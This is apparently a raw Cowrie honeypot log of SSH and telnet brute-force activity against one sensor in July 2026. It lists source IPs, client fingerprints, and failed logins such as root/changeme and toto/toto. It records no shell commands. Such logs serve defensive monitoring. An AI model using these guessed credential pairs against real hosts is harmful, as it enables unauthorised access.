{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45420,"dst_ip":"159.203.135.109","dst_port":22,"session":"2643f345983c","protocol":"ssh","message":"New connection: 139.99.74.35:45420 (159.203.135.109:22) [session: 2643f345983c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:41.746351Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:41.871340Z","src_ip":"91.92.40.153","session":"f9d038fa35fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52516,"dst_ip":"159.203.135.109","dst_port":23,"session":"be2e06e0b9a3","protocol":"telnet","message":"New connection: 170.64.224.25:52516 (159.203.135.109:23) [session: be2e06e0b9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:42.794543Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":33310,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd2bd663910d","protocol":"ssh","message":"New connection: 80.66.85.226:33310 (159.203.135.109:22) [session: dd2bd663910d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:43.060117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:43.064517Z","src_ip":"80.66.85.226","session":"dd2bd663910d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:43.149220Z","src_ip":"80.66.85.226","session":"dd2bd663910d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"claudia1","message":"login attempt [root/claudia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:43.400822Z","src_ip":"80.66.85.226","session":"dd2bd663910d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:43.630141Z","src_ip":"91.92.40.153","session":"f9d038fa35fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":53254,"dst_ip":"10.17.0.5","dst_port":22,"session":"c960f86a2c2f","protocol":"ssh","message":"New connection: 91.92.40.153:53254 (10.17.0.5:22) [session: c960f86a2c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:44.407337Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:44.486908Z","src_ip":"80.66.85.226","session":"dd2bd663910d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:44.984095Z","src_ip":"91.92.40.153","session":"c960f86a2c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:44.988022Z","src_ip":"91.92.40.153","session":"c960f86a2c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:46.510052Z","src_ip":"139.99.74.35","session":"2643f345983c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35232,"dst_ip":"159.203.135.109","dst_port":22,"session":"44abe50452f1","protocol":"ssh","message":"New connection: 139.99.74.35:35232 (159.203.135.109:22) [session: 44abe50452f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:46.757897Z"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:47.700736Z","src_ip":"91.92.40.153","session":"c960f86a2c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:49.197072Z","src_ip":"91.92.40.153","session":"c960f86a2c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.11.57.172","src_port":41998,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3ee4e522811","protocol":"ssh","message":"New connection: 45.11.57.172:41998 (10.17.0.5:22) [session: c3ee4e522811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:49.373090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:49.377214Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:49.503664Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:16:80:35:8b:9b:ed:8a:4b:cb:20:bf:a1:ac:32:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAwNhKU0Yf4b2Usb4eFQaU4zrlGchYMsg9lKjkSrMErkzUZeKfaN02TF0yrHqgtLfkH1i9l2gbIs2tUqqZC+DddxEDCm8RqFUX0Uma7T4GTg9DcdPz0CT7Ja52MdiVDDmOkdebOSDZRvFGGHVH4GWHvMBhWC2PIasFbPXpWrdz89apOgDDkkKb+nWTbk0K7h+LscG5StjV/rTDMkA+LSmVq0LBaAnntxfjzwgjQMrlJocfZxNuKTzNSq80EwxOIquSi0iisEfJ0t8isnSpo5o73cVYiyR2NZKA6G3A37uD8bokBdZsDEx3DyZSdRJPwPrR1WlDakvDUTX1flQqIX+wfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:16:80:35:8b:9b:ed:8a:4b:cb:20:bf:a1:ac:32:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.115387Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:16:80:35:8b:9b:ed:8a:4b:cb:20:bf:a1:ac:32:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAwNhKU0Yf4b2Usb4eFQaU4zrlGchYMsg9lKjkSrMErkzUZeKfaN02TF0yrHqgtLfkH1i9l2gbIs2tUqqZC+DddxEDCm8RqFUX0Uma7T4GTg9DcdPz0CT7Ja52MdiVDDmOkdebOSDZRvFGGHVH4GWHvMBhWC2PIasFbPXpWrdz89apOgDDkkKb+nWTbk0K7h+LscG5StjV/rTDMkA+LSmVq0LBaAnntxfjzwgjQMrlJocfZxNuKTzNSq80EwxOIquSi0iisEfJ0t8isnSpo5o73cVYiyR2NZKA6G3A37uD8bokBdZsDEx3DyZSdRJPwPrR1WlDakvDUTX1flQqIX+wfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.118220Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:88:62:77:81:5f:cc:67:46:6a:1c:ef:33:c0:1d:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbdpXYGoubqz/TX2enYSLYWUvz4D5b1BJJuIBz8ILCEqG0a/nbFeAs+wgiUino5EKOHvtJK3Ld0NSnxTREwXohOnv1pxAYvUHSMrDGx8Dj2PoQwKESH9zuaPJM3bntnt68gj2/BdS1xTUDc11Sq3jfeaE4Om5rGB8SzMw0iRSLaQ4JotLUp6FZm13VQ98uThbEjpLCS9Wip1efBAkZnaoa+4e+3QvZlTGG7ja7lmJryS9gMrgY3/99nzE/M0MkbSc74nqZ9BgfDVtorhw2T8OTi8FKTvnPdy9LinSF9TKEv/FFyLEOGTDZwV4BoCHiGa40w+SQ3F7N7Vze5INqjKtF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:88:62:77:81:5f:cc:67:46:6a:1c:ef:33:c0:1d:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.244088Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:88:62:77:81:5f:cc:67:46:6a:1c:ef:33:c0:1d:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbdpXYGoubqz/TX2enYSLYWUvz4D5b1BJJuIBz8ILCEqG0a/nbFeAs+wgiUino5EKOHvtJK3Ld0NSnxTREwXohOnv1pxAYvUHSMrDGx8Dj2PoQwKESH9zuaPJM3bntnt68gj2/BdS1xTUDc11Sq3jfeaE4Om5rGB8SzMw0iRSLaQ4JotLUp6FZm13VQ98uThbEjpLCS9Wip1efBAkZnaoa+4e+3QvZlTGG7ja7lmJryS9gMrgY3/99nzE/M0MkbSc74nqZ9BgfDVtorhw2T8OTi8FKTvnPdy9LinSF9TKEv/FFyLEOGTDZwV4BoCHiGa40w+SQ3F7N7Vze5INqjKtF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.246825Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:c0:a8:e0:52:fc:37:ca:9e:db:49:73:70:a1:33:5c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAgkE42TCriIaAklwF+AkRCbI/T9QcTVNEeJ27GMIjrc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint aa:c0:a8:e0:52:fc:37:ca:9e:db:49:73:70:a1:33:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.372421Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:c0:a8:e0:52:fc:37:ca:9e:db:49:73:70:a1:33:5c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAgkE42TCriIaAklwF+AkRCbI/T9QcTVNEeJ27GMIjrc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.375405Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:0f:9d:ab:c7:ee:1b:b1:4c:6b:14:a7:f3:b5:70:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC61m3JJ1PI9GlhYnViIcPbS6+dacLZBRXq9Q73hrpSePlVKghEwwKBHwwRPZl6RKdb9kCDYuhgRp1Ny7/Orn1vXfMEB0TJhhwhP2OFESrwXAwvu0uKoSXs5YTZ5b88wgAmjuRhobgdJKm7lBEBns3GUVa7jVMEEiNi1y3WZqCrGB+JixhUaVRA0krdci7a6XvBZXf6FcF/d5sjWXV3v12dqH0fTVXAC1HWMiPXzVKcJGoZpvq3CUlvFle5ANXMq3RLa8yDEjwYoPGGxn+mHWFhwtc5WIzZn24YGfxMhxf+rkSI9Vepux99ApaufVKbDNC9Rs6iuvfBBpluLcf9AFf3xi9WHJ09pujbmItqc0FUjk91pQa/nfgpgZLnl5ERFIWtwjJK5CMugrqYFDxgGH+VG7uZceYmwV+ssV8w7/I5H1vyCK4oKzQX6ldaIP5BF8reULntcCedLO1KK2K8OUib5QL9nF4pOlxNLd5VFvoENZDqaeAGK+cR7Zpwd0xcSkNMhAW7hxuJHW812yrbYC2c9Q6k19v0Q1NEb9RdXITF+572y3IGXfhmZ1w/Dg2E9iIwlhOiLn5ZnGXvJJMD4OrpOy69DLzU466fNN/IHt/F2VWq1YcUpOv/U0MyZ9Q4K+6YrXpkXOV90/ICAQzbkeMpDGV+CFDW7FG8cx6VOKmJ6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:0f:9d:ab:c7:ee:1b:b1:4c:6b:14:a7:f3:b5:70:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.502778Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:0f:9d:ab:c7:ee:1b:b1:4c:6b:14:a7:f3:b5:70:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC61m3JJ1PI9GlhYnViIcPbS6+dacLZBRXq9Q73hrpSePlVKghEwwKBHwwRPZl6RKdb9kCDYuhgRp1Ny7/Orn1vXfMEB0TJhhwhP2OFESrwXAwvu0uKoSXs5YTZ5b88wgAmjuRhobgdJKm7lBEBns3GUVa7jVMEEiNi1y3WZqCrGB+JixhUaVRA0krdci7a6XvBZXf6FcF/d5sjWXV3v12dqH0fTVXAC1HWMiPXzVKcJGoZpvq3CUlvFle5ANXMq3RLa8yDEjwYoPGGxn+mHWFhwtc5WIzZn24YGfxMhxf+rkSI9Vepux99ApaufVKbDNC9Rs6iuvfBBpluLcf9AFf3xi9WHJ09pujbmItqc0FUjk91pQa/nfgpgZLnl5ERFIWtwjJK5CMugrqYFDxgGH+VG7uZceYmwV+ssV8w7/I5H1vyCK4oKzQX6ldaIP5BF8reULntcCedLO1KK2K8OUib5QL9nF4pOlxNLd5VFvoENZDqaeAGK+cR7Zpwd0xcSkNMhAW7hxuJHW812yrbYC2c9Q6k19v0Q1NEb9RdXITF+572y3IGXfhmZ1w/Dg2E9iIwlhOiLn5ZnGXvJJMD4OrpOy69DLzU466fNN/IHt/F2VWq1YcUpOv/U0MyZ9Q4K+6YrXpkXOV90/ICAQzbkeMpDGV+CFDW7FG8cx6VOKmJ6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.506489Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:e2:6f:e4:06:ab:6c:7d:6d:b3:85:31:83:71:84:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZMsuMxx/1nrLjvqS7huFfhlK3QNzWn/wqZenkXtyeM8RItw/U9OZICBZhnpuf5dBR62ij8ojeE/kIPh/Dznp/ta0N4A1LCxWzFUWxdjyUULl9ukid3iZq8At3R1FQ9HMms5v1yhhCYb1wMIrDG16gf/IN7Nmplycm461yGBWLVccVCI6tD7lAJhBl5c8BwzoZrvOM06A2f+sefwmVdFYrvfaT42SMfYmj4e/mMuThjwLZo5DBGuY2g4MSMZE9/xYDljF+JoeRhrVkMUEogk2mFu77JlbxfiRZRgG7Z4cPvQDC7jkgJ+1orkBXljYCbZSjqmbTaZHH3SvGalSXazTr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:e2:6f:e4:06:ab:6c:7d:6d:b3:85:31:83:71:84:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.635554Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:e2:6f:e4:06:ab:6c:7d:6d:b3:85:31:83:71:84:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZMsuMxx/1nrLjvqS7huFfhlK3QNzWn/wqZenkXtyeM8RItw/U9OZICBZhnpuf5dBR62ij8ojeE/kIPh/Dznp/ta0N4A1LCxWzFUWxdjyUULl9ukid3iZq8At3R1FQ9HMms5v1yhhCYb1wMIrDG16gf/IN7Nmplycm461yGBWLVccVCI6tD7lAJhBl5c8BwzoZrvOM06A2f+sefwmVdFYrvfaT42SMfYmj4e/mMuThjwLZo5DBGuY2g4MSMZE9/xYDljF+JoeRhrVkMUEogk2mFu77JlbxfiRZRgG7Z4cPvQDC7jkgJ+1orkBXljYCbZSjqmbTaZHH3SvGalSXazTr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.638601Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.765022Z","src_ip":"45.11.57.172","session":"c3ee4e522811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":53284,"dst_ip":"10.17.0.5","dst_port":22,"session":"09fa46ebcfa7","protocol":"ssh","message":"New connection: 91.92.40.153:53284 (10.17.0.5:22) [session: 09fa46ebcfa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:50.815456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:51.179368Z","src_ip":"91.92.40.153","session":"09fa46ebcfa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:51.183022Z","src_ip":"91.92.40.153","session":"09fa46ebcfa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:51.524628Z","src_ip":"139.99.74.35","session":"44abe50452f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35248,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef34221de6fb","protocol":"ssh","message":"New connection: 139.99.74.35:35248 (159.203.135.109:22) [session: ef34221de6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:51.750122Z"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:53.952196Z","src_ip":"91.92.40.153","session":"09fa46ebcfa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:55.575035Z","src_ip":"91.92.40.153","session":"09fa46ebcfa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":50794,"dst_ip":"10.17.0.5","dst_port":22,"session":"d56c983a388b","protocol":"ssh","message":"New connection: 91.92.40.153:50794 (10.17.0.5:22) [session: d56c983a388b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:56.623567Z"}
